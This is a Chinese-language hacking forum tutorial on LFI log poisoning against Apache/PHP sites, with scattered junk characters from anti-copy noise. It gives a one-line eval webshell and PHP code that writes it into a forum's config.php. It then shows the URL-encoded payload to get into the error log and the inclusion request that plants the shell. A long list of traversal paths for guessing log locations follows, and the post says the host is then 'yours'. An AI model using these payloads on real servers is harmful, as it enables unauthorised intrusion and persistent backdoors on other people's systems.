php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

比如还是这句一句话木马
<?eval($_POST[cmd]);?>   
+ i+ p: j$ e1 T  X8 Z! m
4 A: K% ]/ M' ~: y到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
7 w* r9 [7 i; L6 C2 k, k& Ifopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

/ S7 B8 [. C, _, V' B* w6 V<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句
/ G, A/ l4 {- N% [# x
我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
! }& V# }- ^. ?* e( E1 O转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
4 \) I# P5 r4 X$ j  }config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
1 p- K4 Y" S- }+ G% Y+ qfclose%28%24fp%29%3B%3F%3E
我们提交
& c& T/ F% ]! G5 }http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
1 ?* {5 A; O, ]3 @%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
; [, e5 f7 @, i7 n7 a! Q%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

1 l& Q3 W* d0 W* R6 s这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

1 S" l. Z! j8 m" n这样webshell就写入成功了，config.php里就写入一句木马语句
% `# i# k2 U# L6 x% g! jOK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。
0 o) L0 J6 w. R, \4 |$ W8 W0 E' s
PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
1 b4 Z4 Y8 ?. i8 Q: J; E# R
( e. G) f0 |! _. F9 q2 T7 C其他的日志路径，你可以去猜，也可以参照这里。
1 R8 l- B& E* L8 O9 T, C5 o. G) X( e../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
1 t& Z' z- K  K, g2 o$ G! g. Z../apache/logs/access.log
/ o  s; d  T( ^# P" P../../apache/logs/error.log
7 ?6 j( v( S8 t9 V../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
8 l9 e. P6 P  K4 `8 |3 P" c* T../../../../../../../../../../etc/httpd/logs/error_log
; N( L7 O* v* z) Q& k9 `../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
1 D- m* w" f5 `+ G1 [" R../../../../../../../../../../var/www/logs/access.log
  A: r+ m0 F2 y2 C% g4 O& g% ]../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
/ H+ D9 j8 `6 H' U1 o../../../../../../../../../../var/log/apache/access.log
# E* A5 w" y/ ], }  P- I( `../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
' z$ V0 n3 r3 o1 j../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
0 h1 S; k! u5 w+ I../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
. n( a$ `: o7 `+ A) a  s* B" x/var/log/httpd/error_log     
../apache/logs/error.log     
../apache/logs/access.log
+ ]2 f" D- q" P' s/ t9 U8 _% W../../apache/logs/error.log
../../apache/logs/access.log
% n# m6 A. @! S../../../apache/logs/error.log
8 ?5 s; x' C9 L../../../apache/logs/access.log
: o: q: j6 W$ U  {! M/etc/httpd/logs/acces_log
6 t5 m/ y. l- ?  N( L" A  z1 y) W6 ]/etc/httpd/logs/acces.log
; \1 A% x  ], n! E, Y) H9 @0 w/etc/httpd/logs/error_log
$ L' e' `/ e" q3 J2 z# E4 ]/etc/httpd/logs/error.log
. M' J$ T3 U7 B1 j8 s/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/ W+ ^8 I* t5 U/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
" s; J; _! ?6 j( ]/usr/local/apache/logs/error_log
- i1 Q- J$ k( |! o/usr/local/apache/logs/error.log
/var/log/apache/error_log
( }' {4 d& s6 q' W+ ^/var/log/apache/error.log
4 J/ A5 ^" I6 G/ f/var/log/access_log
/var/log/error_log